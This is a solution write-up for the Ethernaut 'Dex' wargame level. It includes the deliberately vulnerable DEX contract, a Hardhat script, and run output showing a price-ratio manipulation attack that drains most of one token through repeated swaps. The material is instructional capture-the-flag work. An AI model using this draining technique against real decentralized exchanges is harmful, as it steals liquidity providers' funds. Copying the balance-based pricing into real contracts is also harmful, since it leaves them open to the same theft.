Ethernaut Solutions: 22-Dex

The challenge is to find a way to upset the ratio inside getSwapPrice(). The way I did this is by using the Unexpected Ether attack except we will be transferring ERC20 tokens instead of ETH.

Lookout for the below line in solution.js where I transfer tokens to DEX to upset the price calculation in my favor. After that it is just a matter of repeating calls to Dex.swap() to steal all of one token.

await myerc20_1.connect(attacker).transfer(dex.address, 10)

The way I have solved it takes out most of the token but not all. I am going to leave this as it is considering I have got the gist. I am sure other more elegant solutions exist out there.

// Dex.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Dex is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
  
  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  /*function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }*/

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}
// MyERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MyERC20 is ERC20 
{
    constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) 
    {        
        _mint(msg.sender, initialSupply);
    }
}
//Hardhat Test (solution.js):

const { expect } = require("chai");
const { Wallet, Signer } = require("ethers");
const { ethers, network } = require("hardhat");

describe("Recovery.sol", () => {
    describe("Test run", () => {
        it("should run fine", async () => {

            const [owner, attacker] = await ethers.getSigners();

            // Deploy 2 instances of MyERC20 token
            const myERC20Contract = await ethers.getContractFactory("MyERC20")
            const myerc20_1 = await myERC20Contract.deploy("myerc20_1", "myerc20_1", 1000);
            await myerc20_1.deployed();

            const myerc20_2 = await myERC20Contract.deploy("myerc20_2", "myerc20_2", 1000);
            await myerc20_2.deployed();

            console.log("myerc20_1 address: ", myerc20_1.address)
            console.log("myerc20_2 address: ", myerc20_2.address)

            // Deploy DEX contract
            const dexContract = await ethers.getContractFactory("Dex")
            const dex = await dexContract.deploy()
            await dex.deployed()

            console.log("Dex address: ", dex.address)

            // Point Dex contract to the 2 tokens we created
            await dex.setTokens(myerc20_1.address, myerc20_2.address)

            // Transfer 10 tokens each to attacker and 100 to dex
            await myerc20_1.transfer(attacker.address, 10)
            await myerc20_2.transfer(attacker.address, 10)
            await myerc20_1.transfer(dex.address, 100)
            await myerc20_2.transfer(dex.address, 100)

            console.log("attacker token balance: ", await myerc20_1.balanceOf(attacker.address), await myerc20_2.balanceOf(attacker.address))
            console.log("dex token balance: ", await myerc20_1.balanceOf(dex.address), await myerc20_2.balanceOf(dex.address))

            // Attacher sends 10 myerc20_1 tokens to Dex to change the ratio in Dex.getSwapPrice() in its favour
            await myerc20_1.connect(attacker).transfer(dex.address, 10)
            console.log("Dex myerc20_1 balance: ", await myerc20_1.balanceOf(dex.address))

            // Attacker approves Dex to spend both tokens
            await myerc20_1.connect(attacker).approve(dex.address, 10000)
            await myerc20_2.connect(attacker).approve(dex.address, 10000)

            // Each iteration converts from one token to another
            // Each iteration takes out an increasing number of tokens from DEX because of ratio calculated in Dex.getSwapPrice()
            for (let i = 10; i < 29; i++) 
            {
                console.log(i)
                if(i%2 == 0)
                {
                    await dex.connect(attacker).swap(myerc20_2.address, myerc20_1.address, i)
                    console.log("Attacker token balance: ", await myerc20_1.balanceOf(attacker.address), await myerc20_2.balanceOf(attacker.address))
                    console.log("Dex token balance: ", await myerc20_1.balanceOf(dex.address), await myerc20_2.balanceOf(dex.address))
                }
                else
                {
                    await dex.connect(attacker).swap(myerc20_1.address, myerc20_2.address, i)
                    console.log("Attacker token balance: ", await myerc20_1.balanceOf(attacker.address), await myerc20_2.balanceOf(attacker.address))
                    console.log("Dex token balance: ", await myerc20_1.balanceOf(dex.address), await myerc20_2.balanceOf(dex.address))
                }
            }

            // Scrape out the maximum of whatever remains
            await dex.connect(attacker).swap(myerc20_2.address, myerc20_1.address, 44)
            console.log("Attacker token balance: ", await myerc20_1.balanceOf(attacker.address), await myerc20_2.balanceOf(attacker.address))
            console.log("Dex token balance: ", await myerc20_1.balanceOf(dex.address), await myerc20_2.balanceOf(dex.address))
        });
    });
});
Output:
---------

  Recovery.sol
    Test run
myerc20_1 address:  0x5FbDB2315678afecb367f032d93F642f64180aa3
myerc20_2 address:  0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
Dex address:  0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0
attacker token balance:  BigNumber { value: "10" } BigNumber { value: "10" }
dex token balance:  BigNumber { value: "100" } BigNumber { value: "100" }
Dex myerc20_1 balance:  BigNumber { value: "110" }
10
Attacker token balance:  BigNumber { value: "11" } BigNumber { value: "0" }
Dex token balance:  BigNumber { value: "99" } BigNumber { value: "110" }
11
Attacker token balance:  BigNumber { value: "0" } BigNumber { value: "12" }
Dex token balance:  BigNumber { value: "110" } BigNumber { value: "98" }
12
Attacker token balance:  BigNumber { value: "13" } BigNumber { value: "0" }
Dex token balance:  BigNumber { value: "97" } BigNumber { value: "110" }
13
Attacker token balance:  BigNumber { value: "0" } BigNumber { value: "14" }
Dex token balance:  BigNumber { value: "110" } BigNumber { value: "96" }
14
Attacker token balance:  BigNumber { value: "16" } BigNumber { value: "0" }
Dex token balance:  BigNumber { value: "94" } BigNumber { value: "110" }
15
Attacker token balance:  BigNumber { value: "1" } BigNumber { value: "17" }
Dex token balance:  BigNumber { value: "109" } BigNumber { value: "93" }
16
Attacker token balance:  BigNumber { value: "19" } BigNumber { value: "1" }
Dex token balance:  BigNumber { value: "91" } BigNumber { value: "109" }
17
Attacker token balance:  BigNumber { value: "2" } BigNumber { value: "21" }
Dex token balance:  BigNumber { value: "108" } BigNumber { value: "89" }
18
Attacker token balance:  BigNumber { value: "23" } BigNumber { value: "3" }
Dex token balance:  BigNumber { value: "87" } BigNumber { value: "107" }
19
Attacker token balance:  BigNumber { value: "4" } BigNumber { value: "26" }
Dex token balance:  BigNumber { value: "106" } BigNumber { value: "84" }
20
Attacker token balance:  BigNumber { value: "29" } BigNumber { value: "6" }
Dex token balance:  BigNumber { value: "81" } BigNumber { value: "104" }
21
Attacker token balance:  BigNumber { value: "8" } BigNumber { value: "32" }
Dex token balance:  BigNumber { value: "102" } BigNumber { value: "78" }
22
Attacker token balance:  BigNumber { value: "36" } BigNumber { value: "10" }
Dex token balance:  BigNumber { value: "74" } BigNumber { value: "100" }
23
Attacker token balance:  BigNumber { value: "13" } BigNumber { value: "41" }
Dex token balance:  BigNumber { value: "97" } BigNumber { value: "69" }
24
Attacker token balance:  BigNumber { value: "46" } BigNumber { value: "17" }
Dex token balance:  BigNumber { value: "64" } BigNumber { value: "93" }
25
Attacker token balance:  BigNumber { value: "21" } BigNumber { value: "53" }
Dex token balance:  BigNumber { value: "89" } BigNumber { value: "57" }
26
Attacker token balance:  BigNumber { value: "61" } BigNumber { value: "27" }
Dex token balance:  BigNumber { value: "49" } BigNumber { value: "83" }
27
Attacker token balance:  BigNumber { value: "34" } BigNumber { value: "72" }
Dex token balance:  BigNumber { value: "76" } BigNumber { value: "38" }
28
Attacker token balance:  BigNumber { value: "90" } BigNumber { value: "44" }
Dex token balance:  BigNumber { value: "20" } BigNumber { value: "66" }
Attacker token balance:  BigNumber { value: "103" } BigNumber { value: "0" }
Dex token balance:  BigNumber { value: "7" } BigNumber { value: "110" }
      ✔ should run fine (2665ms)

  1 passing (3s)